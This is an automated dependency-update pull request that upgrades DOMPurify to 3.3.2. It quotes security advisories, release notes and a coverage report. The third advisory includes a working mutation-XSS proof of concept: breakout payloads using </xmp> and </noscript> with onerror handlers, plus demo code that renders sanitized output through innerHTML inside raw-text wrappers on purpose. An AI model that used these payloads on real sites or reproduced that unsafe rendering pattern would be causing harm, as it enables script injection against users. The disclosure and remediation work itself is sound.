chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosed

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	3.2.5 → 3.3.2

---

DOMPurify contains a Cross-site Scripting vulnerability

CVE-2025-15599 / GHSA-v8jm-5vwx-cfxm

More information

Details

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

Severity

• CVSS Score: 5.1 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-15599
• https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b
• https://github.com/cure53/DOMPurify
• https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml
• https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml
• https://github.com/advisories/GHSA-v8jm-5vwx-cfxm

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify contains a Cross-site Scripting vulnerability

CVE-2026-0540 / GHSA-v2wj-7wpq-c8vv

More information

Details

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Severity

• CVSS Score: 5.1 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-0540
• https://github.com/cure53/DOMPurify/commit/fca0a938b4261ddc9c0293a289935a9029c049f5
• https://github.com/cure53/DOMPurify
• https://www.vulncheck.com/advisories/dompurify-xss-via-missing-rawtext-elements-in-safe-for-xml
• https://github.com/cure53/DOMPurify/commit/302b51de22535cc90235472c52e3401bedd46f80
• https://fluidattacks.com/advisories/daft
• https://github.com/cure53/DOMPurify/releases/tag/3.3.2
• https://github.com/advisories/GHSA-v2wj-7wpq-c8vv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

GHSA-h8r8-wccr-v5f2

More information

Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

1. Start the PoC app:

npm install
npm start

2. Open http://localhost:3001.
3. Set Wrapper en sink to xmp.
4. Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

5. Click Sanitize + Render.
6. Observe:

• Sanitized response still contains the </xmp> sequence inside alt.
• The sink reparses to include <img src="x" onerror="alert('expoc')">.
• alert('expoc') is triggered.

7. Files:

• index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

• server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

• package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

• PoC

daft-video.webm

• XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

• Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
• Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
• Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
2. Keep the rendering context stable from sanitize to sink.
3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2
• https://github.com/cure53/DOMPurify/releases/tag/3.3.2
• https://github.com/advisories/GHSA-h8r8-wccr-v5f2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

cure53/DOMPurify (dompurify)

v3.3.2: DOMPurify 3.3.2

Compare Source

• Fixed a possible bypass caused by jsdom's faulty raw-text tag parsing, thanks multiple reporters
• Fixed a prototype pollution issue when working with custom elements, thanks @​christos-eth
• Fixed a lenient config parsing in _isValidAttribute, thanks @​christos-eth
• Bumped and removed several dependencies, thanks @​Rotzbua
• Fixed the test suite after bumping dependencies, thanks @​Rotzbua

v3.3.1: DOMPurify 3.3.1

Compare Source

• Updated ADD_FORBID_CONTENTS setting to extend default list, thanks @​MariusRumpf
• Updated the ESM import syntax to be more correct, thanks @​binhpv

v3.3.0: DOMPurify 3.3.0

Compare Source

• Added the SVG mask-type attribute to default allow-list, thanks @​prasadrajandran
• Added support for ADD_ATTR and ADD_TAGS to accept functions, thanks @​nelstrom
• Fixed an issue with the slot element being in both SVG and HTML allow-list, thanks @​Wim-Valgaeren

v3.2.7: DOMPurify 3.2.7

Compare Source

• Added new attributes and elements to default allow-list, thanks @​elrion018
• Added tagName parameter to custom element attributeNameCheck, thanks @​nelstrom
• Added better check for animated href attributes, thanks @​llamakko
• Updated and improved the bundled types, thanks @​ssi02014
• Updated several tests to better align with new browser encoding behaviors
• Improved the handling of potentially risky content inside CDATA elements, thanks @​securityMB & @​terjanq
• Improved the regular expression for raw-text elements to cover textareas, thanks @​securityMB & @​terjanq

v3.2.6: DOMPurify 3.2.6

Compare Source

• Fixed several typos and removed clutter from our documentation, thanks @​Rotzbua
• Added matrix: as an allowed URI scheme, thanks @​kleinesfilmroellchen
• Added better config hardening against prototype pollution, thanks @​EffectRenan
• Added better handling of attribute removal, thanks @​michalnieruchalski-tiugo
• Added better configuration for aggressive mXSS scrubbing behavior, thanks @​BryanValverdeU
• Removed the script that caused the fake entry CVE-2025-48050

---

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[greptile-apps]

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[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 94.05%. Comparing base (0a0df40) to head (a8da041).
⚠️ Report is 2 commits behind head on master.

Additional details and impacted files

@@             Coverage Diff             @@
##           master    #4754       +/-   ##
===========================================
+ Coverage   45.59%   94.05%   +48.45%     
===========================================
  Files         831      146      -685     
  Lines       33618    11766    -21852     
  Branches     5730        0     -5730     
===========================================
- Hits        15328    11066     -4262     
+ Misses      16282      700    -15582     
+ Partials     2008        0     -2008     

Flag	Coverage Δ
api-python	93.14% <ø> (ø)
catalog	?
lambda	96.63% <ø> (ø)
py-shared	98.18% <ø> (ø)

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